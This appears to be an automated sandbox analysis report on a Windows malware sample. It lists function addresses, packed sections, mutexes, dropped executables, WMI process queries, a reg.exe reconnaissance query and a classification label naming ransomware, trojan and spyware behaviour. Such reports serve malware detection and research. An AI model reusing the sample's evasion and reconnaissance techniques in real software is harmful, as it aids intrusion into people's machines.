Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF67AEF0938	6_2_00007FF67AEF0938
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF67AEF6488	6_2_00007FF67AEF6488
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF67AEF3C80	6_2_00007FF67AEF3C80
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF67AEE2C80	6_2_00007FF67AEE2C80
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF67AEF5C70	6_2_00007FF67AEF5C70
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF67AEE3A14	6_2_00007FF67AEE3A14
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF67AEE21D4	6_2_00007FF67AEE21D4
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF67AEE19B4	6_2_00007FF67AEE19B4
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF67AEE8154	6_2_00007FF67AEE8154
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF67AEF0938	6_2_00007FF67AEF0938
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF67AEEDACC	6_2_00007FF67AEEDACC
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF67AEE8804	6_2_00007FF67AEE8804
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF67AEE1FD0	6_2_00007FF67AEE1FD0
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF67AEE17B0	6_2_00007FF67AEE17B0
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF67AEF9798	6_2_00007FF67AEF9798
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF67AEEDF60	6_2_00007FF67AEEDF60
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF67AEF411C	6_2_00007FF67AEF411C
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF67AEF18E4	6_2_00007FF67AEF18E4
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF67AED9870	6_2_00007FF67AED9870
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF67AEE3610	6_2_00007FF67AEE3610
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF67AEEE5E0	6_2_00007FF67AEEE5E0
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF67AEE1DC4	6_2_00007FF67AEE1DC4
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF67AEE5DA0	6_2_00007FF67AEE5DA0
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF67AEE9F10	6_2_00007FF67AEE9F10
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF67AEF5EEC	6_2_00007FF67AEF5EEC
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8631860	6_2_00007FF8A8631860
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8AA6EE0	6_2_00007FF8A8AA6EE0
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A87553AD	6_2_00007FF8A87553AD
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A890A900	6_2_00007FF8A890A900
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A87523F6	6_2_00007FF8A87523F6
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8755DA3	6_2_00007FF8A8755DA3
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8755F10	6_2_00007FF8A8755F10
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8753A94	6_2_00007FF8A8753A94
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8754D09	6_2_00007FF8A8754D09
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A87554CF	6_2_00007FF8A87554CF
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A87515C8	6_2_00007FF8A87515C8
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8751299	6_2_00007FF8A8751299
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8756564	6_2_00007FF8A8756564
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8832CD0	6_2_00007FF8A8832CD0
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8892C00	6_2_00007FF8A8892C00
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8751B27	6_2_00007FF8A8751B27
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8755434	6_2_00007FF8A8755434
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A87553C6	6_2_00007FF8A87553C6
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A875213A	6_2_00007FF8A875213A
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8752171	6_2_00007FF8A8752171
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A876EF00	6_2_00007FF8A876EF00
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8754F43	6_2_00007FF8A8754F43
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A890B0E0	6_2_00007FF8A890B0E0
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A88F3010	6_2_00007FF8A88F3010
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A875638E	6_2_00007FF8A875638E
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A876F060	6_2_00007FF8A876F060
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A87526EE	6_2_00007FF8A87526EE
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8906100	6_2_00007FF8A8906100
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8756D5C	6_2_00007FF8A8756D5C
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8752301	6_2_00007FF8A8752301
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8756EBF	6_2_00007FF8A8756EBF
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8751A50	6_2_00007FF8A8751A50
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8751217	6_2_00007FF8A8751217
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8753634	6_2_00007FF8A8753634
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A875318E	6_2_00007FF8A875318E
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8756FFF	6_2_00007FF8A8756FFF
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A88925D0	6_2_00007FF8A88925D0
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A887E5F0	6_2_00007FF8A887E5F0
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A87510AA	6_2_00007FF8A87510AA
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A87565A0	6_2_00007FF8A87565A0
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8754408	6_2_00007FF8A8754408
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A875144C	6_2_00007FF8A875144C
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8754E53	6_2_00007FF8A8754E53
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A87544CB	6_2_00007FF8A87544CB
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A87568CA	6_2_00007FF8A87568CA
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A875348B	6_2_00007FF8A875348B
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8753698	6_2_00007FF8A8753698
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A875707C	6_2_00007FF8A875707C
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A875416A	6_2_00007FF8A875416A
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8755A65	6_2_00007FF8A8755A65
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8883CC0	6_2_00007FF8A8883CC0
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8751CC6	6_2_00007FF8A8751CC6
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A876BD60	6_2_00007FF8A876BD60
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A87560DC	6_2_00007FF8A87560DC
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8755E25	6_2_00007FF8A8755E25
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A876BF20	6_2_00007FF8A876BF20
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8754106	6_2_00007FF8A8754106
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8756EF1	6_2_00007FF8A8756EF1
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A877B1C0	6_2_00007FF8A877B1C0
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A87550B0	6_2_00007FF8A87550B0
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A875114F	6_2_00007FF8A875114F
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8757257	6_2_00007FF8A8757257
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8752987	6_2_00007FF8A8752987
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A876F200	6_2_00007FF8A876F200
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8753837	6_2_00007FF8A8753837
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8753BA7	6_2_00007FF8A8753BA7
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8752671	6_2_00007FF8A8752671
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8887480	6_2_00007FF8A8887480
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8752D10	6_2_00007FF8A8752D10
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A877B550	6_2_00007FF8A877B550
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8753792	6_2_00007FF8A8753792
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A875435E	6_2_00007FF8A875435E
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A875474B	6_2_00007FF8A875474B
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8751B36	6_2_00007FF8A8751B36
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8887780	6_2_00007FF8A8887780
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A87557D6	6_2_00007FF8A87557D6
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A87BF700	6_2_00007FF8A87BF700
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A875516E	6_2_00007FF8A875516E
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8752D79	6_2_00007FF8A8752D79
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8755D8A	6_2_00007FF8A8755D8A
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8888960	6_2_00007FF8A8888960
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8753B98	6_2_00007FF8A8753B98
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8754A59	6_2_00007FF8A8754A59
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8755934	6_2_00007FF8A8755934
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A92EB360	6_2_00007FF8A92EB360
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A92E1537	6_2_00007FF8A92E1537
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A9340B50	6_2_00007FF8A9340B50
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A92E6BA0	6_2_00007FF8A92E6BA0
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A92E168B	6_2_00007FF8A92E168B
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A92E15B4	6_2_00007FF8A92E15B4
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A92E20B3	6_2_00007FF8A92E20B3
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A9330240	6_2_00007FF8A9330240
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A92E195B	6_2_00007FF8A92E195B
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A9348460	6_2_00007FF8A9348460
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A92E2572	6_2_00007FF8A92E2572
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A92E1DD4	6_2_00007FF8A92E1DD4
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8B90F2F80	6_2_00007FF8B90F2F80
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8B90E1640	6_2_00007FF8B90E1640
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8B91098DC	6_2_00007FF8B91098DC
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8B910B434	6_2_00007FF8B910B434
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8B9105638	6_2_00007FF8B9105638

Source: C:\Users\Public\Netstat\FuturreApp.exe

Process token adjusted: Security

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 002780C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 006C8E10 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 006ADF80 appears 64 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 006A7A00 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 006A80C0 appears 261 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 006AD942 appears 85 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 006AD663 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 006AD64E appears 66 times
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: String function: 00007FF8A8753012 appears 50 times
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: String function: 00007FF8B910DC10 appears 82 times
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: String function: 00007FF8A92E12EE appears 275 times
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: String function: 00007FF67AED2910 appears 34 times
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: String function: 00007FF8A875698D appears 35 times
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: String function: 00007FF67AED2710 appears 104 times
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: String function: 00007FF8A8752A09 appears 105 times
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: String function: 00007FF8A875405C appears 392 times
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: String function: 00007FF8A87524BE appears 35 times
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: String function: 00007FF8A8754840 appears 74 times
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: String function: 00007FF8A934E055 appears 61 times
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: String function: 00007FF8A8751EF6 appears 866 times
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: String function: 00007FF8A8752739 appears 281 times
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: String function: 00007FF8A934DFBF appears 75 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath

Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: Commandline size = 3647
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3615
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: Commandline size = 3647	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3615

Source: random[1].exe0.3.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: a4439a2887.exe.3.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9983768307220708
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983768307220708
Source: random[1].exe.3.dr	Static PE information: Section: ZLIB complexity 0.9973177975171232
Source: random[1].exe.3.dr	Static PE information: Section: uzxdwyvi ZLIB complexity 0.9946595600267777
Source: random[3].exe.3.dr	Static PE information: Section: ZLIB complexity 0.9973980629280822
Source: random[3].exe.3.dr	Static PE information: Section: speiiqif ZLIB complexity 0.9946216844627226
Source: f8645e1e85.exe.3.dr	Static PE information: Section: ZLIB complexity 0.9973980629280822
Source: f8645e1e85.exe.3.dr	Static PE information: Section: speiiqif ZLIB complexity 0.9946216844627226
Source: random[4].exe0.3.dr	Static PE information: Section: efaooxfi ZLIB complexity 0.9943950236344538
Source: d188864e84.exe.3.dr	Static PE information: Section: ZLIB complexity 0.9973177975171232
Source: d188864e84.exe.3.dr	Static PE information: Section: uzxdwyvi ZLIB complexity 0.9946595600267777
Source: f7b3852b06.exe.3.dr	Static PE information: Section: efaooxfi ZLIB complexity 0.9943950236344538
Source: random[1].exe1.3.dr	Static PE information: Section: ZLIB complexity 0.9974582619863014
Source: random[1].exe1.3.dr	Static PE information: Section: xnuzvlhe ZLIB complexity 0.994702490860937
Source: random[2].exe.3.dr	Static PE information: Section: ZLIB complexity 0.9952793473247232
Source: random[2].exe.3.dr	Static PE information: Section: fhxxuwls ZLIB complexity 0.9927186079128777
Source: cb947ba4b8.exe.3.dr	Static PE information: Section: ZLIB complexity 0.9952793473247232
Source: cb947ba4b8.exe.3.dr	Static PE information: Section: fhxxuwls ZLIB complexity 0.9927186079128777

Source: file.exe	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: skotes.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: 97d4b1071f.exe.3.dr, Program.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 97d4b1071f.exe.3.dr, Program.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: random[4].exe1.3.dr, Program.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: random[4].exe1.3.dr, Program.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: random[2].exe0.3.dr, Program.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: random[2].exe0.3.dr, Program.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.rans.troj.adwa.spyw.expl.evad.winEXE@187/113@0/14

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\D1UL0FG[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7964:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7572:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8000:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5636:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7744:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7676:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7480:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7732:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4308:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7404:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7500:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7756:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7768:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2716:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7580:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7252:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7484:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5020:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7848:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7452:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1896:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Mutant created: \Sessions\1\BaseNamedObjects\y
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8132:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5828:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7860:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7680:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4720:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7244:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
